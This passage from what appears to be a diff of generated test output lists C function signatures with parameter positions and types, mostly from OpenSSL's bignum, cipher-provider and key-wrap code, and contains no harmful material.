*) | | bn_sqr_recursive | 2 | int | +| (unsigned long *,const unsigned long *,int,unsigned long *) | | bn_sqr_recursive | 3 | unsigned long * | +| (unsigned long *,const unsigned long *,int,unsigned long) | | bn_mul_add_words | 0 | unsigned long * | +| (unsigned long *,const unsigned long *,int,unsigned long) | | bn_mul_add_words | 1 | const unsigned long * | +| (unsigned long *,const unsigned long *,int,unsigned long) | | bn_mul_add_words | 2 | int | +| (unsigned long *,const unsigned long *,int,unsigned long) | | bn_mul_add_words | 3 | unsigned long | +| (unsigned long *,const unsigned long *,int,unsigned long) | | bn_mul_words | 0 | unsigned long * | +| (unsigned long *,const unsigned long *,int,unsigned long) | | bn_mul_words | 1 | const unsigned long * | +| (unsigned long *,const unsigned long *,int,unsigned long) | | bn_mul_words | 2 | int | +| (unsigned long *,const unsigned long *,int,unsigned long) | | bn_mul_words | 3 | unsigned long | +| (unsigned long *,unsigned long *,int,unsigned long *,int) | | bn_mul_normal | 0 | unsigned long * | +| (unsigned long *,unsigned long *,int,unsigned long *,int) | | bn_mul_normal | 1 | unsigned long * | +| (unsigned long *,unsigned long *,int,unsigned long *,int) | | bn_mul_normal | 2 | int | +| (unsigned long *,unsigned long *,int,unsigned long *,int) | | bn_mul_normal | 3 | unsigned long * | +| (unsigned long *,unsigned long *,int,unsigned long *,int) | | bn_mul_normal | 4 | int | +| (unsigned long *,unsigned long *,unsigned long *,int) | | bn_mul_low_normal | 0 | unsigned long * | +| (unsigned long *,unsigned long *,unsigned long *,int) | | bn_mul_low_normal | 1 | unsigned long * | +| (unsigned long *,unsigned long *,unsigned long *,int) | | bn_mul_low_normal | 2 | unsigned long * | +| (unsigned long *,unsigned long *,unsigned long *,int) | | bn_mul_low_normal | 3 | int | +| (unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *) | | bn_mul_part_recursive | 0 | unsigned long * | +| (unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *) | | bn_mul_part_recursive | 1 | unsigned long * | +| (unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *) | | bn_mul_part_recursive | 2 | unsigned long * | +| (unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *) | | bn_mul_part_recursive | 3 | int | +| (unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *) | | bn_mul_part_recursive | 4 | int | +| (unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *) | | bn_mul_part_recursive | 5 | int | +| (unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *) | | bn_mul_part_recursive | 6 | unsigned long * | +| (unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *) | | bn_mul_recursive | 0 | unsigned long * | +| (unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *) | | bn_mul_recursive | 1 | unsigned long * | +| (unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *) | | bn_mul_recursive | 2 | unsigned long * | +| (unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *) | | bn_mul_recursive | 3 | int | +| (unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *) | | bn_mul_recursive | 4 | int | +| (unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *) | | bn_mul_recursive | 5 | int | +| (unsigned long *,unsigned long *,unsigned long *,int,int,int,unsigned long *) | | bn_mul_recursive | 6 | unsigned long * | +| (unsigned long *,unsigned long *,unsigned long *,int,unsigned long *) | | bn_mul_low_recursive | 0 | unsigned long * | +| (unsigned long *,unsigned long *,unsigned long *,int,unsigned long *) | | bn_mul_low_recursive | 1 | unsigned long * | +| (unsigned long *,unsigned long *,unsigned long *,int,unsigned long *) | | bn_mul_low_recursive | 2 | unsigned long * | +| (unsigned long *,unsigned long *,unsigned long *,int,unsigned long *) | | bn_mul_low_recursive | 3 | int | +| (unsigned long *,unsigned long *,unsigned long *,int,unsigned long *) | | bn_mul_low_recursive | 4 | unsigned long * | +| (unsigned long) | | BN_num_bits_word | 0 | unsigned long | +| (unsigned long) | | BUF_MEM_new_ex | 0 | unsigned long | +| (unsigned long,BIGNUM *,BIGNUM *,int) | | BN_consttime_swap | 0 | unsigned long | +| (unsigned long,BIGNUM *,BIGNUM *,int) | | BN_consttime_swap | 1 | BIGNUM * | +| (unsigned long,BIGNUM *,BIGNUM *,int) | | BN_consttime_swap | 2 | BIGNUM * | +| (unsigned long,BIGNUM *,BIGNUM *,int) | | BN_consttime_swap | 3 | int | +| (unsigned long,char *) | | ERR_error_string | 0 | unsigned long | +| (unsigned long,char *) | | ERR_error_string | 1 | char * | +| (unsigned long[8],const unsigned long[8],const unsigned long[8],const unsigned long[8],unsigned long,const unsigned long[8]) | | RSAZ_512_mod_exp | 0 | unsigned long[8] | +| (unsigned long[8],const unsigned long[8],const unsigned long[8],const unsigned long[8],unsigned long,const unsigned long[8]) | | RSAZ_512_mod_exp | 1 | const unsigned long[8] | +| (unsigned long[8],const unsigned long[8],const unsigned long[8],const unsigned long[8],unsigned long,const unsigned long[8]) | | RSAZ_512_mod_exp | 2 | const unsigned long[8] | +| (unsigned long[8],const unsigned long[8],const unsigned long[8],const unsigned long[8],unsigned long,const unsigned long[8]) | | RSAZ_512_mod_exp | 3 | const unsigned long[8] | +| (unsigned long[8],const unsigned long[8],const unsigned long[8],const unsigned long[8],unsigned long,const unsigned long[8]) | | RSAZ_512_mod_exp | 4 | unsigned long | +| (unsigned long[8],const unsigned long[8],const unsigned long[8],const unsigned long[8],unsigned long,const unsigned long[8]) | | RSAZ_512_mod_exp | 5 | const unsigned long[8] | +| (unsigned long[16],const unsigned long[16],const unsigned long[16],const unsigned long[16],const unsigned long[16],unsigned long) | | RSAZ_1024_mod_exp_avx2 | 0 | unsigned long[16] | +| (unsigned long[16],const unsigned long[16],const unsigned long[16],const unsigned long[16],const unsigned long[16],unsigned long) | | RSAZ_1024_mod_exp_avx2 | 1 | const unsigned long[16] | +| (unsigned long[16],const unsigned long[16],const unsigned long[16],const unsigned long[16],const unsigned long[16],unsigned long) | | RSAZ_1024_mod_exp_avx2 | 2 | const unsigned long[16] | +| (unsigned long[16],const unsigned long[16],const unsigned long[16],const unsigned long[16],const unsigned long[16],unsigned long) | | RSAZ_1024_mod_exp_avx2 | 3 | const unsigned long[16] | +| (unsigned long[16],const unsigned long[16],const unsigned long[16],const unsigned long[16],const unsigned long[16],unsigned long) | | RSAZ_1024_mod_exp_avx2 | 4 | const unsigned long[16] | +| (unsigned long[16],const unsigned long[16],const unsigned long[16],const unsigned long[16],const unsigned long[16],unsigned long) | | RSAZ_1024_mod_exp_avx2 | 5 | unsigned long | +| (unsigned short,int) | | dtls1_get_queue_priority | 0 | unsigned short | +| (unsigned short,int) | | dtls1_get_queue_priority | 1 | int | | (vector &&) | vector | vector | 0 | vector && | | (vector &&,const Allocator &) | vector | vector | 0 | vector && | | (vector &&,const Allocator &) | vector | vector | 1 | const class:1 & | +| (void *) | | ossl_kdf_data_new | 0 | void * | +| (void *,CRYPTO_THREAD_RETVAL *) | | ossl_crypto_thread_join | 0 | void * | +| (void *,CRYPTO_THREAD_RETVAL *) | | ossl_crypto_thread_join | 1 | CRYPTO_THREAD_RETVAL * | +| (void *,OSSL_PARAM[]) | | fake_pipeline_aead_get_ctx_params | 0 | void * | +| (void *,OSSL_PARAM[]) | | fake_pipeline_aead_get_ctx_params | 1 | OSSL_PARAM[] | +| (void *,OSSL_PARAM[]) | | ossl_blake2b_get_ctx_params | 0 | void * | +| (void *,OSSL_PARAM[]) | | ossl_blake2b_get_ctx_params | 1 | OSSL_PARAM[] | +| (void *,OSSL_PARAM[]) | | ossl_blake2s_get_ctx_params | 0 | void * | +| (void *,OSSL_PARAM[]) | | ossl_blake2s_get_ctx_params | 1 | OSSL_PARAM[] | +| (void *,OSSL_PARAM[]) | | ossl_ccm_get_ctx_params | 0 | void * | +| (void *,OSSL_PARAM[]) | | ossl_ccm_get_ctx_params | 1 | OSSL_PARAM[] | +| (void *,OSSL_PARAM[]) | | ossl_cipher_generic_get_ctx_params | 0 | void * | +| (void *,OSSL_PARAM[]) | | ossl_cipher_generic_get_ctx_params | 1 | OSSL_PARAM[] | +| (void *,OSSL_PARAM[]) | | ossl_gcm_get_ctx_params | 0 | void * | +| (void *,OSSL_PARAM[]) | | ossl_gcm_get_ctx_params | 1 | OSSL_PARAM[] | +| (void *,OSSL_PARAM[]) | | ossl_tdes_get_ctx_params | 0 | void * | +| (void *,OSSL_PARAM[]) | | ossl_tdes_get_ctx_params | 1 | OSSL_PARAM[] | +| (void *,PROV_GCM_CTX *,size_t,const PROV_GCM_HW *) | | ossl_gcm_initctx | 0 | void * | +| (void *,PROV_GCM_CTX *,size_t,const PROV_GCM_HW *) | | ossl_gcm_initctx | 1 | PROV_GCM_CTX * | +| (void *,PROV_GCM_CTX *,size_t,const PROV_GCM_HW *) | | ossl_gcm_initctx | 2 | size_t | +| (void *,PROV_GCM_CTX *,size_t,const PROV_GCM_HW *) | | ossl_gcm_initctx | 3 | const PROV_GCM_HW * | +| (void *,block128_f) | | CRYPTO_gcm128_new | 0 | void * | +| (void *,block128_f) | | CRYPTO_gcm128_new | 1 | block128_f | +| (void *,const ASN1_ITEM *,ASN1_OCTET_STRING **,ASN1_STRING **) | | ASN1_item_pack | 0 | void * | +| (void *,const ASN1_ITEM *,ASN1_OCTET_STRING **,ASN1_STRING **) | | ASN1_item_pack | 1 | const ASN1_ITEM * | +| (void *,const ASN1_ITEM *,ASN1_OCTET_STRING **,ASN1_STRING **) | | ASN1_item_pack | 2 | ASN1_OCTET_STRING ** | +| (void *,const ASN1_ITEM *,ASN1_OCTET_STRING **,ASN1_STRING **) | | ASN1_item_pack | 3 | ASN1_STRING ** | +| (void *,const ASN1_ITEM *,int,int) | | PKCS12_item_pack_safebag | 0 | void * | +| (void *,const ASN1_ITEM *,int,int) | | PKCS12_item_pack_safebag | 1 | const ASN1_ITEM * | +| (void *,const ASN1_ITEM *,int,int) | | PKCS12_item_pack_safebag | 2 | int | +| (void *,const ASN1_ITEM *,int,int) | | PKCS12_item_pack_safebag | 3 | int | +| (void *,const OSSL_PARAM[]) | | fake_pipeline_aead_set_ctx_params | 0 | void * | +| (void *,const OSSL_PARAM[]) | | fake_pipeline_aead_set_ctx_params | 1 | const OSSL_PARAM[] | +| (void *,const OSSL_PARAM[]) | | ossl_blake2b_set_ctx_params | 0 | void * | +| (void *,const OSSL_PARAM[]) | | ossl_blake2b_set_ctx_params | 1 | const OSSL_PARAM[] | +| (void *,const OSSL_PARAM[]) | | ossl_blake2s_set_ctx_params | 0 | void * | +| (void *,const OSSL_PARAM[]) | | ossl_blake2s_set_ctx_params | 1 | const OSSL_PARAM[] | +| (void *,const OSSL_PARAM[]) | | ossl_ccm_set_ctx_params | 0 | void * | +| (void *,const OSSL_PARAM[]) | | ossl_ccm_set_ctx_params | 1 | const OSSL_PARAM[] | +| (void *,const OSSL_PARAM[]) | | ossl_cipher_generic_set_ctx_params | 0 | void * | +| (void *,const OSSL_PARAM[]) | | ossl_cipher_generic_set_ctx_params | 1 | const OSSL_PARAM[] | +| (void *,const OSSL_PARAM[]) | | ossl_cipher_var_keylen_set_ctx_params | 0 | void * | +| (void *,const OSSL_PARAM[]) | | ossl_cipher_var_keylen_set_ctx_params | 1 | const OSSL_PARAM[] | +| (void *,const OSSL_PARAM[]) | | ossl_gcm_set_ctx_params | 0 | void * | +| (void *,const OSSL_PARAM[]) | | ossl_gcm_set_ctx_params | 1 | const OSSL_PARAM[] | +| (void *,const OSSL_PARAM[]) | | ossl_tdes_set_ctx_params | 0 | void * | +| (void *,const OSSL_PARAM[]) | | ossl_tdes_set_ctx_params | 1 | const OSSL_PARAM[] | +| (void *,const char *,int) | | CRYPTO_secure_free | 0 | void * | +| (void *,const char *,int) | | CRYPTO_secure_free | 1 | const char * | +| (void *,const char *,int) | | CRYPTO_secure_free | 2 | int | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_ccm_dinit | 0 | void * | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_ccm_dinit | 1 | const unsigned char * | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_ccm_dinit | 2 | size_t | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_ccm_dinit | 3 | const unsigned char * | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_ccm_dinit | 4 | size_t | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_ccm_dinit | 5 | const OSSL_PARAM[] | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_ccm_einit | 0 | void * | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_ccm_einit | 1 | const unsigned char * | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_ccm_einit | 2 | size_t | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_ccm_einit | 3 | const unsigned char * | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_ccm_einit | 4 | size_t | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_ccm_einit | 5 | const OSSL_PARAM[] | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_chacha20_dinit | 0 | void * | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_chacha20_dinit | 1 | const unsigned char * | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_chacha20_dinit | 2 | size_t | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_chacha20_dinit | 3 | const unsigned char * | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_chacha20_dinit | 4 | size_t | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_chacha20_dinit | 5 | const OSSL_PARAM[] | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_chacha20_einit | 0 | void * | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_chacha20_einit | 1 | const unsigned char * | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_chacha20_einit | 2 | size_t | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_chacha20_einit | 3 | const unsigned char * | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_chacha20_einit | 4 | size_t | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_chacha20_einit | 5 | const OSSL_PARAM[] | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_cipher_generic_dinit | 0 | void * | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_cipher_generic_dinit | 1 | const unsigned char * | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_cipher_generic_dinit | 2 | size_t | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_cipher_generic_dinit | 3 | const unsigned char * | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_cipher_generic_dinit | 4 | size_t | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_cipher_generic_dinit | 5 | const OSSL_PARAM[] | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_cipher_generic_einit | 0 | void * | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_cipher_generic_einit | 1 | const unsigned char * | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_cipher_generic_einit | 2 | size_t | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_cipher_generic_einit | 3 | const unsigned char * | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_cipher_generic_einit | 4 | size_t | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_cipher_generic_einit | 5 | const OSSL_PARAM[] | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_gcm_dinit | 0 | void * | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_gcm_dinit | 1 | const unsigned char * | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_gcm_dinit | 2 | size_t | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_gcm_dinit | 3 | const unsigned char * | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_gcm_dinit | 4 | size_t | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_gcm_dinit | 5 | const OSSL_PARAM[] | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_gcm_einit | 0 | void * | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_gcm_einit | 1 | const unsigned char * | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_gcm_einit | 2 | size_t | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_gcm_einit | 3 | const unsigned char * | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_gcm_einit | 4 | size_t | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_gcm_einit | 5 | const OSSL_PARAM[] | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_tdes_dinit | 0 | void * | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_tdes_dinit | 1 | const unsigned char * | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_tdes_dinit | 2 | size_t | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_tdes_dinit | 3 | const unsigned char * | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_tdes_dinit | 4 | size_t | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_tdes_dinit | 5 | const OSSL_PARAM[] | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_tdes_einit | 0 | void * | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_tdes_einit | 1 | const unsigned char * | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_tdes_einit | 2 | size_t | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_tdes_einit | 3 | const unsigned char * | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_tdes_einit | 4 | size_t | +| (void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_tdes_einit | 5 | const OSSL_PARAM[] | +| (void *,const unsigned char *,size_t,size_t,const unsigned char **,size_t,const OSSL_PARAM[]) | | fake_pipeline_dinit | 0 | void * | +| (void *,const unsigned char *,size_t,size_t,const unsigned char **,size_t,const OSSL_PARAM[]) | | fake_pipeline_dinit | 1 | const unsigned char * | +| (void *,const unsigned char *,size_t,size_t,const unsigned char **,size_t,const OSSL_PARAM[]) | | fake_pipeline_dinit | 2 | size_t | +| (void *,const unsigned char *,size_t,size_t,const unsigned char **,size_t,const OSSL_PARAM[]) | | fake_pipeline_dinit | 3 | size_t | +| (void *,const unsigned char *,size_t,size_t,const unsigned char **,size_t,const OSSL_PARAM[]) | | fake_pipeline_dinit | 4 | const unsigned char ** | +| (void *,const unsigned char *,size_t,size_t,const unsigned char **,size_t,const OSSL_PARAM[]) | | fake_pipeline_dinit | 5 | size_t | +| (void *,const unsigned char *,size_t,size_t,const unsigned char **,size_t,const OSSL_PARAM[]) | | fake_pipeline_dinit | 6 | const OSSL_PARAM[] | +| (void *,const unsigned char *,size_t,size_t,const unsigned char **,size_t,const OSSL_PARAM[]) | | fake_pipeline_einit | 0 | void * | +| (void *,const unsigned char *,size_t,size_t,const unsigned char **,size_t,const OSSL_PARAM[]) | | fake_pipeline_einit | 1 | const unsigned char * | +| (void *,const unsigned char *,size_t,size_t,const unsigned char **,size_t,const OSSL_PARAM[]) | | fake_pipeline_einit | 2 | size_t | +| (void *,const unsigned char *,size_t,size_t,const unsigned char **,size_t,const OSSL_PARAM[]) | | fake_pipeline_einit | 3 | size_t | +| (void *,const unsigned char *,size_t,size_t,const unsigned char **,size_t,const OSSL_PARAM[]) | | fake_pipeline_einit | 4 | const unsigned char ** | +| (void *,const unsigned char *,size_t,size_t,const unsigned char **,size_t,const OSSL_PARAM[]) | | fake_pipeline_einit | 5 | size_t | +| (void *,const unsigned char *,size_t,size_t,const unsigned char **,size_t,const OSSL_PARAM[]) | | fake_pipeline_einit | 6 | const OSSL_PARAM[] | +| (void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f) | | CRYPTO_128_unwrap | 0 | void * | +| (void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f) | | CRYPTO_128_unwrap | 1 | const unsigned char * | +| (void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f) | | CRYPTO_128_unwrap | 2 | unsigned char * | +| (void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f) | | CRYPTO_128_unwrap | 3 | const unsigned char * | +| (void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f) | | CRYPTO_128_unwrap | 4 | size_t | +| (void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f) | | CRYPTO_128_unwrap | 5 | block128_f | +| (void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f) | | CRYPTO_128_unwrap_pad | 0 | void * | +| (void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f) | | CRYPTO_128_unwrap_pad | 1 | const unsigned char * | +| (void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f) | | CRYPTO_128_unwrap_pad | 2 | unsigned char * | +| (void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f) | | CRYPTO_128_unwrap_pad | 3 | const unsigned char * | +| (void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f) | | CRYPTO_128_unwrap_pad | 4 | size_t | +| (void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f) | | CRYPTO_128_unwrap_pad | 5 | block128_f | +| (void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f) | | CRYPTO_128_wrap | 0 | void * | +| (void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f) | | CRYPTO_128_wrap | 1 | const unsigned char * | +| (void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f) | | CRYPTO_128_wrap | 2 | unsigned char * | +| (void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f) | | CRYPTO_128_wrap | 3 | const unsigned char * | +| (void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f) | | CRYPTO_128_wrap | 4 | size_t | +| (void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f) | | CRYPTO_128_wrap | 5 | block128_f | +| (void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f) | | CRYPTO_128_wrap_pad | 0 | void * | +| (void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f) | | CRYPTO_128_wrap_pad | 1 | const unsigned char * | +| (void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f) | | CRYPTO_128_wrap_pad | 2 | unsigned char * | +| (void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f) | | CRYPTO_128_wrap_pad | 3 | const unsigned char * | +| (void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f) | | CRYPTO_128_wrap_pad | 4 | size_t | +| (void *,const unsigned char *,unsigned char *,const unsigned char *,size_t,block128_f) | | CRYPTO_128_wrap_pad | 5 | block128_f | +| (void *,int) | | DSO_dsobyaddr | 0 | void * | +| (void *,int) | | DSO_dsobyaddr | 1 | int | +| (void *,int) | | sqlite3_realloc | 0 | void * | +| (void *,int) | | sqlite3_realloc | 1 | int | +| (void *,int,const OSSL_PARAM[]) | | generic_import | 0 | void * | +| (void *,int,const OSSL_PARAM[]) | | generic_import | 1 | int | +| (void *,int,const OSSL_PARAM[]) | | generic_import | 2 | const OSSL_PARAM[] | +| (void *,int,size_t,size_t,size_t,uint64_t,const PROV_CIPHER_HW *) | | ossl_tdes_newctx | 0 | void * | +| (void *,int,size_t,size_t,size_t,uint64_t,const PROV_CIPHER_HW *) | | ossl_tdes_newctx | 1 | int | +| (void *,int,size_t,size_t,size_t,uint64_t,const PROV_CIPHER_HW *) | | ossl_tdes_newctx | 2 | size_t | +| (void *,int,size_t,size_t,size_t,uint64_t,const PROV_CIPHER_HW *) | | ossl_tdes_newctx | 3 | size_t | +| (void *,int,size_t,size_t,size_t,uint64_t,const PROV_CIPHER_HW *) | | ossl_tdes_newctx | 4 | size_t | +| (void *,int,size_t,size_t,size_t,uint64_t,const PROV_CIPHER_HW *) | | ossl_tdes_newctx | 5 | uint64_t | +| (void *,int,size_t,size_t,size_t,uint64_t,const PROV_CIPHER_HW *) | | ossl_tdes_newctx | 6 | const PROV_CIPHER_HW * | +| (void *,size_t) | | JimDefaultAllocator | 0 | void * | +| (void *,size_t) | | JimDefaultAllocator | 1 | size_t | +| (void *,size_t,const EC_POINT *,const EC_KEY *,..(*)(..)) | | ECDH_compute_key | 0 | void * | +| (void *,size_t,const EC_POINT *,const EC_KEY *,..(*)(..)) | | ECDH_compute_key | 1 | size_t | +| (void *,size_t,const EC_POINT *,const EC_KEY *,..(*)(..)) | | ECDH_compute_key | 2 | const EC_POINT * | +| (void *,size_t,const EC_POINT *,const EC_KEY *,..(*)(..)) | | ECDH_compute_key | 3 | const EC_KEY * | +| (void *,size_t,const EC_POINT *,const EC_KEY *,..(*)(..)) | | ECDH_compute_key | 4 | ..(*)(..) | +| (void *,size_t,const char *,int) | | CRYPTO_secure_clear_free | 0 | void * | +| (void *,size_t,const char *,int) | | CRYPTO_secure_clear_free | 1 | size_t | +| (void *,size_t,const char *,int) | | CRYPTO_secure_clear_free | 2 | const char * | +| (void *,size_t,const char *,int) | | CRYPTO_secure_clear_free | 3 | int | +| (void *,size_t,size_t,const char *,int) | | CRYPTO_clear_realloc | 0 | void * | +| (void *,size_t,size_t,const char *,int) | | CRYPTO_clear_realloc | 1 | size_t | +| (void *,size_t,size_t,const char *,int) | | CRYPTO_clear_realloc | 2 | size_t | +| (void *,size_t,size_t,const char *,int) | | CRYPTO_clear_realloc | 3 | const char * | +| (void *,size_t,size_t,const char *,int) | | CRYPTO_clear_realloc | 4 | int | +| (void *,size_t,size_t,size_t,unsigned int,uint64_t,const PROV_CIPHER_HW *,void *) | | ossl_cipher_generic_initkey | 0 | void * | +| (void *,size_t,size_t,size_t,unsigned int,uint64_t,const PROV_CIPHER_HW *,void *) | | ossl_cipher_generic_initkey | 1 | size_t | +| (void *,size_t,size_t,size_t,unsigned int,uint64_t,const PROV_CIPHER_HW *,void *) | | ossl_cipher_generic_initkey | 2 | size_t | +| (void *,size_t,size_t,size_t,unsigned int,uint64_t,const PROV_CIPHER_HW *,void *) | | ossl_cipher_generic_initkey | 3 | size_t | +| (void *,size_t,size_t,size_t,unsigned int,uint64_t,const PROV_CIPHER_HW *,void *) | | ossl_cipher_generic_initkey | 4 | unsigned int | +| (void *,size_t,size_t,size_t,unsigned int,uint64_t,const PROV_CIPHER_HW *,void *) | | ossl_cipher_generic_initkey | 5 | uint64_t | +| (void *,size_t,size_t,size_t,unsigned int,uint64_t,const PROV_CIPHER_HW *,void *) | | ossl_cipher_generic_initkey | 6 | const PROV_CIPHER_HW * | +| (void *,size_t,size_t,size_t,unsigned int,uint64_t,const PROV_CIPHER_HW *,void *) | | ossl_cipher_generic_initkey | 7 | void * | +| (void *,size_t,unsigned char **,size_t *,const size_t *) | | fake_pipeline_final | 0 | void * | +| (void *,size_t,unsigned char **,size_t *,const size_t *) | | fake_pipeline_final | 1 | size_t | +| (void *,size_t,unsigned char **,size_t *,const size_t *) | | fake_pipeline_final | 2 | unsigned char ** | +| (void *,size_t,unsigned char **,size_t *,const size_t *) | | fake_pipeline_final | 3 | size_t * | +| (void *,size_t,unsigned char **,size_t *,const size_t *) | | fake_pipeline_final | 4 | const size_t * | +| (void *,size_t,unsigned char **,size_t *,const size_t *,const unsigned char **,const size_t *) | | fake_pipeline_update | 0 | void * | +| (void *,size_t,unsigned char **,size_t *,const size_t *,const unsigned char **,const size_t *) | | 